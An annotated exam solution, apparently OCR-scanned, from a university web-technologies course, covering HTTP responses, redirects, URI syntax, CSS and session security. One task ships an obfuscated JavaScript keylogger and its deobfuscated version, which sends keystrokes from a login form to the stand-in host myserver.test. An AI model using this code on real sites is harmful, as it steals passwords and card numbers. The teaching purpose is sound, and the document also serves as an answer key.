Kommentierte Losung der digitalen Open-Books-Klausur
,Web-Technologien” im Wintersemester 2018/2019

Tobias Thelen, Universitat Osnabrick!

Zusammenfassung

Dieses Dokument enthalt Aufgabenstellungen, Musterldsungen, Anmerkungen zu typischen Fehlern
und technische Hinweise zu einer Online-Open-Books-Klausur, die im Wintersemester 2018/2019 im
Fach Informatik zur Vorlesung/Ubung , Web-Technologien” durchgefiihrt wurde.
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Einleitung

Die Klausur wurde als , digitale Open-Books-Klausur” durchgefiihrt, d.h. die Teilnehmenden durften
analoge und digitale mitgebrachte Materialien nutzen und das Internet am Klausurrechner fir
Recherchezwecke nutzen. Untersagt war die Verwendung eigener elektronischer Gerate sowie die
Internetnutzung fir direkte und indirekte Kommunikationsversuche.

Das Modul ,,Web-Technologien” ist ein Wahlpflichtmodul, das sowohl fiir Bachelor- als auch
Masterstudierende in den Informatik-Studiengangen der Universitat Osnabriick konzipiert ist. Die
Kompetenzziele des Moduls sind beschrieben als:

e Grundverstandnis aktueller client- und serverseitiger Technologien, die fir die
Implementation von Webanwendungen erforderlich sind.

e Dieses Grundverstandnis auf exemplarische Fragestellungen mit eingeschrankter Komplexitat
unter Nutzung eines ausgewahlten Technologiestacks anwenden kdnnen.

e Qualitatssicherungsmallnahmen fliir Webanwendungen systematisch einsetzen kénnen.

e Sicherheitsfragen von Webanwendungen erkennen und beriicksichtigen kénnen.

Das Modul wird jahrlich angeboten und besteht laut Modulhandbuch aus einer Vorlesung und einer
Ubung (zusammen 4 Semesterwochenstunden), wird aber seit 2017 im Inverted-Classroom-Format
durchgefiihrt?. Dadurch entfillt die Vorlesung, stattdessen wurden im Wintersemester 2018/2019
Walk-In-Sessions angeboten, die mit Testaten kombiniert wurden. Die Studierenden haben in
Arbeitsgruppen von bis zu drei Personen liber das Semester verteilt 4 gréRere Ubungsaufgaben
bearbeitet, deren Losung Sie innerhalb eines 4-Wochen-Zeitraums zu einem selbst gewahlten
Zeitpunkt dem Dozenten prasentieren mussten. Insgesamt standen fir die Walk-In-Sessions fiinf
Zeitstunden pro Woche zur Verfiigung, die neben den Testaten fiir Gruppenarbeiten, Nachfragen und
Hilfestellung genutzt werden konnten.

Das Bestehen der Ubungsaufgaben mit jeweils mindestens 50% der verfiigbaren Punkte ist
Zulassungsvoraussetzung fiir die Klausur, die Modulnote ergibt sich aber allein aus der Klausur. In
den Ubungsaufgaben ging es darum, realistische Anwendungen im Zusammenspiel von Python,
Javascript, HTML und CSS zu entwickeln.

Die Klausur umfasst laut Modulhandbuch 120 Minuten und wurde im Wintersemester 2018/2019
zum zweiten mal als digitale Open-Books-Klausur durchgefiihrt. Hauptmotivation war es,
realistischere Aufgabenstellungen im Rahmen der Klausur zu realisieren und die Rolle des
Auswendig-Lernens von Fakten zu verringern. In der Klausur dominieren Anwendungsaufgaben, bei
denen Verstdndnis und Erfahrung vorausgesetzt werden, ggf. aber auch Recherchen wahrend der
Klausur zum Ziel fiihren oder hilfreich sind. Aufgrund der knappen Zeit wird in der Klausur keine
serverseitige Programmierung verlangt, es gibt aber Beurteilungsaufgaben zu serverseitigem Code.
Als Arbeits- und Programmierumgebung dient vor allem der Browser.

Im Folgenden sind die Originalaufgaben der Klausur mit Musterlésungen, einer Beschreibung des
intendierten Loésungsweges und einer kurzen Einschatzung typischer Probleme und Schwierigkeiten
wiedergegeben. Soweit abbildbar, sind auch der Quellcode fiir verwendete Server-Skripte und
andere technische Informationen angegeben.

Fragen, Anmerkungen und Anregungen bitte an Tobias Thelen <tobias.thelen@uni-osnabrueck.de>

2 Playlist mit allen Videos: https://www.youtube.com/watch?v=L511knyVJng&list=PLXlg-maVz42-
IMTYWCzRPe4LFfYGiFYN9



https://www.youtube.com/watch?v=L511knyVJng&list=PLXlq-maVz42-IMTYwCzRPe4LFfYGiFYN9
https://www.youtube.com/watch?v=L511knyVJng&list=PLXlq-maVz42-IMTYwCzRPe4LFfYGiFYN9

1. HTTP-Response (2 Punkte)

Aufgabenstellung

Rufen Sie im Browser die URL https://vm009.rz.uni-osnabrueck.de/wtklsr19a/fgb1/? auf. Welche
Reason-Phrase weist die 1. Response auf?

Hinweis:

e Die Beispiele in der Klausur verwenden https als Protokoll. Das spielt fiir Sie keine Rolle, Sie
kénnen alle https-Requests genau wie http-Requests behandeln. In keiner der Aufgaben
spielt die Unterscheidung zwischen http und https eine Rolle.

Losung
CONGRATULATIONS (Freitexteingabe)

Bewertung

Korrekte Losung = 2 Punkte
Angabe von Response-Code und Reason-Phrase = 1 Punkt
Alle anderen Losungen = 0 Punkte

LOosungsweg

Die angegebene URL muss im Browser mit gedéffnetem Netzwerk-Reiter der Entwickler-Tools
aufgerufen werden. In der Detailansicht zum Request findet sich der Status-Code 288 und die
Reason-Phrase CONGRATULATIONS.

cC o Da uni-osnabrueck de/wik BRI O R + 4 vy in @ @[
Ok.
[® {3 inspektor [J Konsole [ Debugger {} Stilbearbeitung (@ Laufzeitanalyse = Netzwerkanalyse & Web-Speicher >
W € dur F Il ELogs nicht leeren [ Cache deaktivieren Keini

HTML CSS JS XHR Schriften Grafiken Medien WebSockets Sonstiges

Status Methode Host [B) Kopfzeilen  Cookies Parameter ~ Antwort Zeit  Aufrufliste  Sicherheit
288 [clag iR raT Ml Angefragte Adresse: https://vme@9.rz.uni-osnabrueck.de/wtklsri9a/fgbl/
= Anfragemethode: GET
404] GET vmo009.rz.uni

Externe Adresse: [2001:638:508:160: :83ad:1602]:443

@ Bearbeiten und erneut senden  [LClelr NIl EI(=00)

Status-Code: g}, CONGRATULATIONS
Version: HTTP/1.1
Referrer Policy: no-referrer-when-downgrade

Anfragekopfzeilen: Antwortkonfzeilan:

Host: vm009.rz.uni-osnabrueck.de f‘ HTTP/1.1 288 CONGRATULATIONS
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Mbarer Frir01-Mar-2012-20:42:06 GMT
v:65.0) Gecko/20100101 Firefox/65.0 Server: Apache/2.4.18 (Ubuntu)

Accept: text/html,application/xhtml+xml,application Content-Length: 3
/xml;q=0.9,image/webp,*/*,q=0.8 Keep-Alive: timeout=5, max=100
Accept-Language: de,en-US;q=0.7,en;q=0.3 Connection: Keep-Alive
Accept-Encoding: gzip, deflate, br Content-Type: text/html; charset=UTF-8

@ 2Anfragen 305 B /219 B dbertragen Connection: keep-alive

Haufige Fehler

e Angabe des Status-Code 288 anstelle der Reason Phrase

3 Die URLs verweisen auf einen ggf. nicht mehr existierenden Server. Alle technischen Informationen, um die
Klausurumgebung nachzuvollziehen finden sich jeweils unter dem Abschnitt , Technische Aspekte”.


https://vm009.rz.uni-osnabrueck.de/wtklsr19a/fgb1/

e Angabe des HTML-Seiteninhalts , Ok.” anstelle der Reason Phrase

Technische Aspekte

Serverseitig wird ein PHP-Skript index . php mit folgendem Inhalt aufgerufen:
<?php
header ('"HTTP/1.1 288 CONGRATULATIONS') ;

echo ("Ok.");

2. Statuscode 404 (2 Punkte)

Aufgabenstellung

Versuchen Sie mit dem Webbrowser einen Request abzusenden, der unterhalb von
https://vm009.rz.uos.de/wtklsr19a/fgb1/ einen 404-Fehler erzeugt. (D.h. der Pfad, den Sie
verwenden, muss mit /wtklsr19a/fgbl/ beginnen.

Das Losungswort lautet

Losung
pr9xx4fd (Freitexteingabe)é

Bewertung

e Korrekte Losung: 2 Punkte
e Jede andere Losung: O Punkte

LOosungsweg

Der Fehler 404 NOT FOUND wird typischerweise ausgeldst, wenn eine nicht vorhandene Ressource
angefragt wird. Daher flihrt nahezu jeder Request mit einem Pfad, der /wtklsr19a/fgbl/ als
Prafix hat, zu solch einem Fehler. Auf der dann erscheinenden Fehlerseite wird auf das Losungswort
hingewiesen.

<« Cc © ® & https;//vm009.rz.uos.de/wtklsr19a/fgb1/xxx

Datei nicht gefunden.

Das Losungswort lautet pb9xx4fd



https://vm009.rz.uos.de/wtklsr19a/fgb1/

Haufige Fehler

e URL statt Losungswort angegeben

Technische Aspekte

Auf dem aufgerufenen Server lauft ein Apache-Webserver.
Im Verzeichnis £gb1 wird eine separate 404-Fehlerseite definiert tiber folgende . htaccess-Datei:
ErrorDocument 404 /wtklsrl9a/fgbl/f404.html
Der Inhalt der Datei f404.html lautet:
<html>
<head>
<title>Nicht gefunden</title>
</head>
<body>

<p>Datei nicht gefunden.

<p>Das Losungswort lautet pb9xx4fd

</body>

3. HTTP-Response: Redirect (3 Punkte)

Rufen Sie im Browser die URL https://vm009.rz.uni-osnabrueck.de/wtklsr19a/wtr/ auf.

Nach einer Sekunde wird Ihr Browser auf eine andere URL weitergeleitet. Was ist die Ursache fir
diese Weiterleitung?

Hinweis:
e Sie mussen die Ursache nur finden und in das Antwortfeld kopieren, nicht im Detail erklaren!

Losung

<meta http-equiv="refresh" content="1;z113.html|">

LOsungsweg

Die Losung ist wieder tGber den gedffneten Netzwerk-Reiter in den Entwickler-Tools zu finden,
allerdings mit der zusatzlichen Schwierigkeit, dass die weiterleitende Response ggf. nach
Weiterleitung aus der Liste verschwindet (Entwickler-Tools-Einstellung andern).


https://vm009.rz.uni-osnabrueck.de/wtklsr19a/wtr/

<« c ® @ @ https;//vm009.rz.uni-osnabrueck.de/wtklsr19a/wtr/z113.htm on 2| | Q Suchen Y in @ @O

‘Wir sind da.

N
W L3 Inspektor Konsole [ Debugger {} Stilbearbeitung (S Laufzeitanalyse = Netzwerkanalyse & Web-Speicher
Ty Adressen durchsuchen Il [Logs nicht leeren []Cache deaktivieren Keine
LI HTML CSS JS XHR Schriften Grafiken Medien WebSockets Sonstiges
Status Methode Host D... Urspru... Typ [ Kopfzeilen  Cookies Parameter ~ Antwort Cache Ze
vmO009.rz.uni-... /wt... document 2 <html>
3 <head>
GET & vmo09.rzuni-.. [ favi.. img html 4 <title>Eine Seite, die weiterleitet</title>
5 <meta http-equiv="refresh" content="1;z113.html">
GET vm009.rz.uni-... z11... document  html 6 </head>
i o 7 <body>
GET & vm009.rzuni-. [J favi.. img html 8 <p>Gleich geht es weiter.</p>
9 </body>
10 hitml

Die Hauptschwierigkeit bestand darin, eine Weiterleitungsmethode zu erkennen, die in der
Vorlesung nicht vorkam.

Die Haupthinweise darauf, dass es sich nicht um die aus der Vorlesung bekannte (ibliche
Weiterleitungsmethode Uber eine Response mit 300er-Code und Location-Header handelt, liefern
zum einen das Fehlen einer solchen Response in der Netzwerkansicht und zum anderen die
Verzogerung von einer Sekunde. Mit dieser Information lassen sich auch leicht Losungshinweise per
Suchmaschine finden (z.B. Suche nach , Weiterleitung nach Sekunden®).

Die tatsachliche Ursache findet sich dann im Body (HTML) der weiterleitenden Response.

Haufige Fehler

e Nennen der Standard-Weiterleitungsmethode aus der Vorlesung (z.B. ,,301“ oder , Location-
Header”), ohne dafiir Beweise gefunden zu haben.

Technische Aspekte

Uber die URL wird zunichst die Datei index.html im Verzeichnis wtr ausgeliefert:

<!DOCTYPE HTML>
<html>
<head>
<title>Eine Seite, die weilterleitet</title>
<meta http-equiv="refresh"
content="1;2z113.html">
</head>
<body>
<p>Gleich geht es weiter.</p>
</body>
</html>

Die Datei z113.html war wie folgt angelegt:

<!DOCTYPE HTML>

<html>
<head>
<title>Eine Seite, auf die weitergeleitet
wurde</title>

</head>




<body>
<p>Wir sind da.</p>
</body>
</html>

4. RFC: Uniform Resource Identifies (URI)- Generic
Syntax (5 Punkte)

Aufgabenstellung

Der RFC 3986 spezifiziert die Syntax von URlIs.

Informieren Sie sich im RFC 3986 ( https://tools.ietf.org/html|/rfc3986 ) dariiber, wie die zulédssige
Syntax fiir Schema-Bezeichner definiert ist und entscheiden Sie, welche der nachfolgenden Beispiele
zuldssige Schemabezeichner in kanonischer Form darstellen.

Hinweise:

e Der Doppelpunkt wie z.B. in http://www.uos.de gehort nicht zum Schemabezeichner.
e Beachten Sie die Anforderung "in kanonischer Form"!

Losung (Multiple Choice-Auswahl mit Kommentarmoglichkeit)

e html -> korrekt

e spiel77 -> Kkorrekt

e Spiel-77 ->nichtkorrekt (,,kanonische Form* schreibt Kleinschreibung vor)
e http+https -> korrekt

e 8ung -> nicht korrekt (muss mit Buchstabe beginnen)

e about... ->Kkorrekt

e ping%20server -> nichtkorrekt (% ist kein erlaubtes Zeichen)

e offentlich -> nicht korrekt (nur ASCII-Buchstaben erlaubt, keine Umlaute)
e 127.0.0.1 ->nichtkorrekt (muss mit Buchstabe beginnen)

e schemenamesmightbeverylongiftheyareusedforspecificpurpose
slikeinthisexample —> korrekt

Haufige Fehler

e Nicht erkannt, dass , kanonische Form“ Kleinschreibung vorschreibt (Spiel-77)
e Nicht erkannt, dass nur ASCII-Buchstaben erlaubt sind (6ffentlich)


https://tools.ietf.org/html/rfc3986
http://www.uos.de/

5. Korrigieren eines HTTP-Requests (8 Punkte)

Aufgabenstellung

Korrigieren Sie den angegeben HTTP-Request so, dass ein wohlgeformter und RFC-konformer
Request entsteht.

Hinweise:

e Dazu gehort auch die Priifung, ob die Werte eines Header-Feldes den spezifischen
Anforderungen fiir dieses Feld genligen.

e Korrigieren Sie falsche oder uniibliche Header-Felder so, dass ein plausibler Eintrag entsteht.

e Zeilen, die nicht in einen HTTP-Request gehdren, sollen entfernt werden

e Die 32 muss nicht Gberprift werden

PUT \path\script.cgi\23456 HTTP/1.1

200 OK

Server: uni-osnabrueck.de

User Agent: MyBrowser/8.8

Accept: text/html, application/xhtml+xml
Content-Length: 32
title:Demo&content:Something

Losung und Bewertung

PUT /path/script.cgi/23456 HTTP/1.1 (\in / umwandeln -> 1 Punkt)
(200 OK geldscht -> 1 Punkt)

Host: uni-osnabrueck.de (Server: in Host: andern -> 1 Punkt)
User-Agent: MyBrowser/8.8 (Bindestrich bei User Agent ergdnzen -> 1 Punkt)
Accept: text/html, application/xhtml+xml (unverandert lassen -> 1 Punkt)
Content-Type: application/x-www-form-urlencoded (einflgen -> 1 Punkt)
Content-Length: 32 (unverandert lassen -> 1 Punkt)
(Leerzeile einfligen -> 1 Punkt)

title=Demo&content=Something (:in = dndern -> 1 Punkt)

Die Punktesumme (hier im Bewertungsschema: 9) wird auf maximal 8 begrenzt, d.h. eine
Abweichung ist zuldssig.

Haufige Fehler

e Kleine Abweichungen libersehen (z.B. Richtung der Slashes, fehlender Bindestrich)
e Besonders haufig: Fehlerhafte Body-Codierung (: in = dndern) nicht erkannt



6. Buntes Quadrat (15 Punkte)

Geben Sie moglichst knappen HTML- und CSS-Code an, der eine Darstellung wie im folgenden Bild

erzeugt:

Informationen:

Hinweis
[ ]

Hinweis

Das rote Quadrat (Farbe: "maroon") ist ca. 300x300 Pixel groR.

Das grine Quadrat (Farbe: "green") ist ca. 200x200 Pixel groR.

Der Text "Quadrat" ist horizontal und vertikal zentriert und verwendet die Default-Schriftart
in Default-GréRe und -Farbe (d.h. Sie missen zu Schriftart, -farbe und -gréoBe keine Angaben
machen)

e:

Verwenden Sie http://isbin.com, http://jsfiddle.net 0.4. zum Ausprobieren

Der angegebene HTML- und CSS-Code muss funktionieren (sonst max. 50% der Punkte).
Vertikales Zentrieren ist nicht ganz einfach. Informationen finden Sie z.B. hier:
https://vanseodesign.com/css/vertical-centering/

"Moglichst knapp bedeutet": Verwenden Sie moglichst wenige HTML-Elemente, moglichst
einfache CSS-Selektoren und moglichst wenige CSS-Regeln.

e zur Bewertung:

Quadrate und Text vorhanden (2 Punkte)
GroRe und Farben der Quadrate (4 Punkte)
Zentrierung (5 Punkte)

Moglichst knappe Losung (4 Punkte)

HTML nur relevanter Ausschnitt, kein <htmI>,<body>, ...

Losung

HTML:
<p>Quadrat</p>

CSS:


http://jsbin.com/
http://jsfiddle.net/
https://vanseodesign.com/css/vertical-centering/

width:200px;

height:200px;

border: 50px solid maroon;
background-color:green;
text-align:center;
line-height:200px;

LOosungsweg

Die Aufgabe war recht einfach, wenn man bedacht hat, dass jedes Block-Element dem CSS-Boxmodell
unterliegt. Von dieser Uberlegung ausgehend war die Idee naheliegend, das rote Quadrat nicht als
eigenstandiges Quadrat, sondern als sehr breiten Rand des griinen Quadrats zu sehen. Dadurch
entfiel das Zentrieren des Quadrats und der Code konnte sehr knapp werden.

Flr das vertikale Zentrieren des Textes wurde die einfachste Moéglichkeit als erste Variante in dem
verlinkten Blog-Beitrag beschrieben.

Haufige Fehler

e Sehrviele insgesamt korrekte Darstellungen
e Viele Abziige, weil kein besonders kompakter Code (Ein-Quadrat-Lésung) gefunden wurde
e Die Aufgabe birgt die Gefahr, viel Zeit durch Trial-and-Error-Lésungssuche zu verbrauchen

7. Omindses Javascript (Kapitel 5)

Aufgabenstellung

Einem Angreifer ist es gelungen, auf der Webseite https://vm009.rz.uos.de/wtklsr19a/kl/ Javascript-
Code einzuschleusen. Dieser Javascript-Code tut etwas, das Entwickler und Anwender nicht wollen.

1. Erklaren Sie kurz, worin das Problem besteht, d.h. was der Javascript-Code unerwiinschtes tut?
2. Kopieren Sie den von der Anwendung verwendeten Javascript-Code in das Antwortfeld und
gestalten Sie ihn verstandlich, d.h. figen Sie Zeilenumbriiche ein, machen sie die enthaltenen
simplen Verschleierungsversuche riickgangig und kommentieren Sie den Code.

Hinweise:

e Unter Verschleierungsversuchen sind z.B. Variablen zu verstehen, die nur eingefiihrt werden,
damit Funkionsaufrufe und andere Verwendungen weniger auffallig aussehen. Es kommt in
Teilaufgabe 2 nicht darauf an, alle diese Versuche zu beseitigen, sondern darum, dass in lhrer
Darstellung der Code verstandlich wird.

e Es kommt nicht darauf an, wie der Javascript-Code in die Anwendung gelangt sein kdnnte.
Der gesuchte Fehler fallt nicht unter eine der in der Vorlesung beschriebenen
Sicherheitsliicken - es ist vielmehr eine mogliche Folge z.B. eines XSS-Angriffes.

10
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1. Erklaren Sie kurz, worin das Problem besteht, d.h. was der Javascript-Code unerwiinschtes tut?

2. Kopieren Sie den von der Anwendung verwendeten Javascript-Code in das Antwortfeld und
gestalten Sie ihn verstandlich, d.h. fligen Sie Zeilenumbriiche ein, machen sie die enthaltenen
simplen Verschleierungsversuche riickgangig und kommentieren Sie den Code.

Losung

1. Worin besteht dieses Problem?

Auf der Seite wird Javascript-Code ausgefiihrt, der alle Tastatureingaben direkt an einen fremden (!)
Server weiterleitet (keylogger). Damit werden Passworter, Kreditkartennummern, vertrauliche
Nachrichten etc. abgefangen.

2. Kopieren Sie den von der Anwendung verwendeten Javascript-Code in das Antwortfeld und
gestalten Sie ihn verstandlich, d.h. fligen Sie Zeilenumbriiche ein, machen sie die enthaltenen
simplen Verschleierungsversuche riickgéngig und kommentieren Sie den Code.

var buffer = '"'; // a string buffer to collect the keys to send

// send the collected keys to another server
function sendKeys () {

if (buffer != "") {
// 1f we collected some typed keys:
// new Image () create a new Image HTML Element

// the browser sends a request as soon as the src attribute
// is filled, there's no need to attach the Image to the DOM
// The request includes the key buffer so it sends all typed
// keys to another server. It does not matter whether the
// server returns an Image or not, the result is not used.
new Image().src = "https://myserver.test/k/" +
encodeURIComponent (buffer);
}
buffer = '' // clear buffer

}

// callback for every keypress: collect keys in buffer
function logKeys (event) {
buffer += String.fromCharCode (event.which) ;
// event.which is a character code, add to buffer as string

}

document.addEventListener ('keypress', logKeys); // log every keypress
document.addEventListener ('submit', sendKeys); // send when submitting

// (not guaranteed to work)
setInterval (sendKeys,500); // send every 500 miliseconds

LOosungsweg

Webseite bei Aufruf:

11



Aufgabenstellung

Einem Angreifer ist es gelungen, Javascript-Code auf diese Webseite einzuschleusen. Dieser Javascript-Code tut etwas, das Entwickler
und Anwender nicht wollen.

1. Worin besteht das Problem, was tut der Javascript-Code?

2. Kopieren Sie den von der Anwendung verwendeten Javascript-Code in das Antwortfeld und gestalten Sie ihn verstandlich, d.h.
fiigen Sie Zeilenumbriiche ein, machen sie die enthaltenen simplen Verschleierungsversuche riickgéngig und kommentieren Sie
den Code.

Hinweise:

e Unter Verschleierungsversuchen sind z.B. Variablen zu verstehen, die nur eingefiihrt werden, damit Funkionsaufrufe und andere
Verwendungen weniger auffillig aussehen. Es kommt in Teilaufgabe 2 nicht darauf an, alle diese Versuche zu beseitigen, sondern
darum, dass in Ihrer Darstellung der Code verstindlich wird.

e Es kommt nicht darauf an, wie der Javascript-Code in die Anwendung gelangt sein kénnte.

Login (Beim Abschicken tut das Formular nichts - das ist nicht
der Fehler!)

Usemame:[ ]
Password:[ ]
Credit Card Number: l:l

Private M

Login

Ein Blick in den Netzwerk-Reiter in den Entwickler-Tools offenbart beim Ausfiillen des Formulars
regelmalige Requests, die Teile des eingetippen Textes enthalten.

Username: ‘tnbias |

Password:|uuu¢-o |

Credit Card Number: | |

b
(W {3 Inspektor Konsole [ Debugger = Netzwe
Ty Adressen durchsuch |1 Logs nicht leeren [ Cache

I\E HTML CSS JS XHR Schriften Grafiken Medien WebS

Status Methode Host Ursprung
GET # myserver.test img
GET # myserver.test img
GET # myserver.test img
GET ¥ myserver.test img
GET # myserver.test img

Der HTML-Quellcode der Anwendung zeigt, dass eine Datei kl.js geladen wird, deren Inhalt sich als
schwer lesbarer Javascript-Code herausstellt:



© ‘m‘ ® view-source:https://vmO( see ﬁ’ Suchen i 1Y . Gl D '

k=['key', "value', 'submit', "press', 'store'];l=document.addEventListener;a=setInterval;o=encodeURIComponent;
g=atob ("aHROCHMELY9teXNlcnzlciS0ZXN0OL2sv" ) ;bf="";function = () {if (bf!="")new Image().src=g+co (bf);bf=""}
function rec(v) {bf+=String.fromCharCode (v.which) };1(k[0]+k[3],rc);Ll(k[2],%):;a(x,500);

Der Weg zur vollstandigen Losung flhrte Gber folgende Schritte (inkl. Bewertungsinformationen):

vk W e

Verhalten des Codes analysieren (Netzwerk-Reiter) und beschreiben (4 Punkte)
Code sinnvoll formatieren (1 Punkt)

Variablen und Funktionsnamen sinnvoll umbenennen (4 Punkte)
Base64-codieren Servernamen decodieren (1 Punkte)

Korrekte und sinnvolle Kommentare einfligen (5 Punkte)

Haufige Fehler

Keylogger-Funktion nicht erkannt, stattdessen nur Teilfunktionalitdten beschrieben (z.B. ,,Bild
erstellen”)
Codierter Servername nicht als solcher erkannt

Technische Aspekte

Auf dem Server waren zwei Dateien hinterlegt.

index.html:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Find out..</title>
<script src="kl.js"></script>
</head>
<body>
<hl>Aufgabenstellung</hl>
<p>
Einem Angreifer ist es gelungen, Javascript-Code auf diese Webseite einzuschleusen.
Dieser Javascript-Code tut etwas, das Entwickler und Anwender nicht wollen.
</p>

<ol>
<li>Worin besteht das Problem, was tut der Javascript-Code?</1li>
<li>Kopieren Sie den von der Anwendung verwendeten Javascript-Code in das
Antwortfeld und gestalten Sie ihn verstandlich,
d.h. fiigen Sie Zeilenumbriiche ein, machen sie die enthaltenen simplen
Verschleierungsversuche riickgdngig und
kommentieren Sie den Code.</1i>
</ol>

<p>Hinweise:</p>
<ul>
<li>Unter Verschleierungsversuchen sind z.B. Variablen zu verstehen, die nur

eingefithrt werden, damit Funkionsaufrufe

und andere Verwendungen weniger auffdllig aussehen. Es kommt in Teilaufgabe 2
nicht darauf an, alle diese Versuche

zu beseitigen, sondern darum, dass in Ihrer Darstellung der Code verstandlich
wird.</1li>
<li>Es kommt nicht darauf an, wie der Javascript-Code in die Anwendung gelangt sein
kénnte.</1i>
</ul>

<hl>Login (Beim Abschicken tut das Formular nichts - das ist nicht der Fehler!)</hl>
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<form method="POST" action="#">
<p>
<label for="username">Username:</label>
<input id="username" name="klusername" type="text" size="20">
</p>
<p>
<label for="password">Password:</label>
<input id="password" name="klpassword" type="password" size="20">
</p>
<p>
<label for="cc">Credit Card Number:</label>
<input id="cc" name="klcc" type="text" size="20">
</p>
<p>
<label for="msg">Private Message:</label>
<textarea rows="5" cols="20" id="msg" name="klcc"></textarea>
</p>
<button type="submit">Login</button>
</form>
</body>
</html>

kl.js:

k=['key', 'value', 'submit', 'press', 'store'];l=document.addEventListener;a=setInterva
1;o0=encodeURIComponent;

g=atob ('aHROcHM6Ly9teXN1lcnzZlci50ZXN0L2sv"') ;bf="";function x () {if (bf!="")new
Image () .src=g+o (bf) ;bf=""}

function
rc(v) {bf+=String.fromCharCode (v.which) };1(k[0]+k[3],rc);1(k[2],x);a(x,500);

8. Aussagen Uber session.py (zu Kapitel 6, 10 Punkte)

Aufgabenstellung

Welche Aussagen lber die in der Vorlesung mehrfach verwendete Session-Middleware (Python,
Codess.
https://github.com/tthelen/webtech18/blob/master/kapitel06/server/middlewares/session.py ) sind
korrekt?

Achtung: Falsche Antworten werden mit -1 Punkten bewertet (Die Gesamtpunktzahl der Aufgabe
kann aber nicht < 0 sein). Wenn Sie sich nicht sicher sind, wahlen Sie also lieber "keine Antwort".

Sie dirfen Erlduterungen zu lhren Auswahlen angeben, die sich positiv, aber auch negativ auswirken
kénnen (wenn Sie eine Frage richtig ankreuzen, aber dann eine eindeutig falsche Erklarung dazu
abgeben). Tipp: Verwenden Sie nicht viel Zeit auf diese Erlduterungen, sondern nutzen Sie sie nur,
wenn Sie sich bei einer Antwort sehr unsicher sind.

Pro Nutzer der Anwendung kann es maximal eine
aktive Session geben. Ja Nein keine Antwort

Egal ob man ,,Nutzer” als Person oder Eintrag in der Nutzerdatenbank versteht, verhindert die Session-
Middleware nicht, dass mehrere Sessions mit mehreren Browsern zu nutzen oder durch Léschen des Session-
Cookies eine weitere giiltige Session generieren zu lassen.
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https://github.com/tthelen/webtech18/blob/master/kapitel06/server/middlewares/session.py

Jede Session ist an eine IP-Adresse gebunden,
d.h. wird nur fiir Requests geladen, die von der Ja Nein keine Antwort
IP-Adresse stammen, fiir die die Session angelegt
wurde.

Auf die IP-Adresse des Requests wird an keiner Stelle der Middleware zugegriffen. Auch aufSerhalb der
Middleware wird sie vom Server-Framework nicht verwendet.

Der String "abcdef012345689" ist eine giiltige
Session-ID. Ja Nein keine Antwort

In der Methode check_id, die an allen relevanten Stellen zur Priifung der Giiltigkeit verwendet wird, ist eine
gliltige Session-ID (iber den reguldren Ausdruck r"~ [0-9a-f] { 32} $ definiert. Der angegebene String hat nicht
genau 32 Zeichen und ist daher nicht giiltig.

Wenn das Session-Verzeichnis nicht existiert,
wird eine im session.py-Code nicht abgefangene Ja Nein keine Antwort
Exception ausgelost.

Hier wurden alle Antworten als korrekt gewertet. Beim Versuch, die Session-Datei zum Schreiben éffnen tritt
eine Exception auf, die nicht abgefangen wird, wenn das Session-Verzeichnis nicht existiert. Da diese
Exception aber nicht im session.py-Code ausgel6st wird, was mehrfach in den Kommentaren als Begriindung
fiir ,nein”“ angegeben wurde, werden beide Interpretationsmdéglichkeiten akzeptiert und Enhaltungen nicht
als Nachteil behandelt.

Eine Session beinhaltet ein Python-Dictionary,
das als Werte nahezu beliebige Python- Ja Nein keine Antwort
Datenstrukturen enthalten kann.

Das Session-Dictionary kann beliebige Strukturen aufnehmen. Zur Herstellung von Persistenz wird es mit
dem pickle- und unpickle-Mechanismus (de)serialisiert. Dabei entstehen leichte Einschrdnkungen bzgl. der
Datenstrukturen (File-Handler z.B. lassen sich nicht persistieren), die durch die Einschrdnkung ,,nahezu
beliebige” abgedeckt werden sollten.

Wenn der Session-Cookie-Name nicht
anderweitig gesetzt wird, kdnnte der gesamte Ja Nein keine Antwort
Code aus process_response ohne
Funktionalitatsverlust auch in process_request
verschoben werden.

In process_response wird session.save() aufgerufen und der Session-Inhalt persistiert. Wiirde das bereits in
process_request geschehen, liefSen sich keine Daten dauerhaft in die Sesison schreiben.

Wird ein Session-Cookie im Browser manuell
geldscht, wird mit der nachsten Response das Ja Nein keine Antwort
Cookie mit gleicher Session-ID neu gesetzt.

Das im Browser gespeicherte Cookie dient nach Authentifizierung ja gerade als Beweis der vorher
festgesteliten Identitdt. Wird es gelGscht, gilt der Request als nicht authentifiziert und kann (und darf!) nicht
mit Session-ID beantwortet werden.

Um die Implementation anfallig fir Path-
Traversal-Angriffe zu machen, reicht es, eine Ja Nein keine Antwort
einzige Zeile zu verandern.
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Ja, es muss nur der regulédre Ausdruck in der Methode check_id geéindert werden. Der Einwand, dass
anschliefsend kein vollwertiger Path-Traversal-Angriff méglich ist, bei dem z.B. beliebige Dateien komplett
und direkt ausgelesen werden kénnen, ist nicht stichhaltig, da auch andere negative Konsequenzen mdéglich
sind — z.B. das Uberschreiben von wichtigen Dateien beim Speichern der Session.

Wenn ein Angreifer eine giiltige Session-I1D
erbeutet hat, die zugehdrige Session vor Ja Nein keine Antwort
Verwendung der Session-ID durch den Angreifer
aber per destroy() geloscht wurde, erhalt der
Angreifer keine Fehlermeldung, sondern eine
andere glltige Session-ID fiir eine neue Session.

Die Middleware-Methode process_request erzeugt ein Session-Objekt, wenn ein Session-Cookie vorhanden
ist. Im Session-Konstruktor wird die Cookie-ID auf Wohlgeformtheit gepriift (die gestohlene ID ist
wohlgeformt) und danach werden die Session-Inhalte aus dem Dateisystem geladen. Schldgt dies fehl, wird
eine neue Session mit neuer ID generiert (Zeile 56-59).

Dem Session-Cookie fehlt das http-only-Flag.
Deshalb kénnte ein Angreifer eine evtl. Ja Nein keine Antwort
vorhandene XSS-Liicke ausnutzen, um alle
Inhalte der Session auszulesen (z.B. liber einen
Ajax-Request).

Auch hier wurden alle Antworten als korrekt gewertet, weil die Frage verschiedene Interpretationen zuldsst.
Es ist nicht allein aufgrund einer XSS-Liicke méglich, den Session-Inhalt auszulesen, weil die Session-Inhalte
immer nur fiir den Server direkt zugdnglich sind. (Dies war die intendierte Interpretation.) Einige
Klausurteilnehmende haben aber argumentiert, dass ja nicht bekannt ist, welche Funktionalitdten die
Anwendung implementiert — darunter werden sich evtl. Routen befinden, die Session-Inhalte ausliefern.

9. Stoppe die SPAM-Maschine (zu Kapitel 7 & 9, 10
Punkte)

Aufgabenstellung

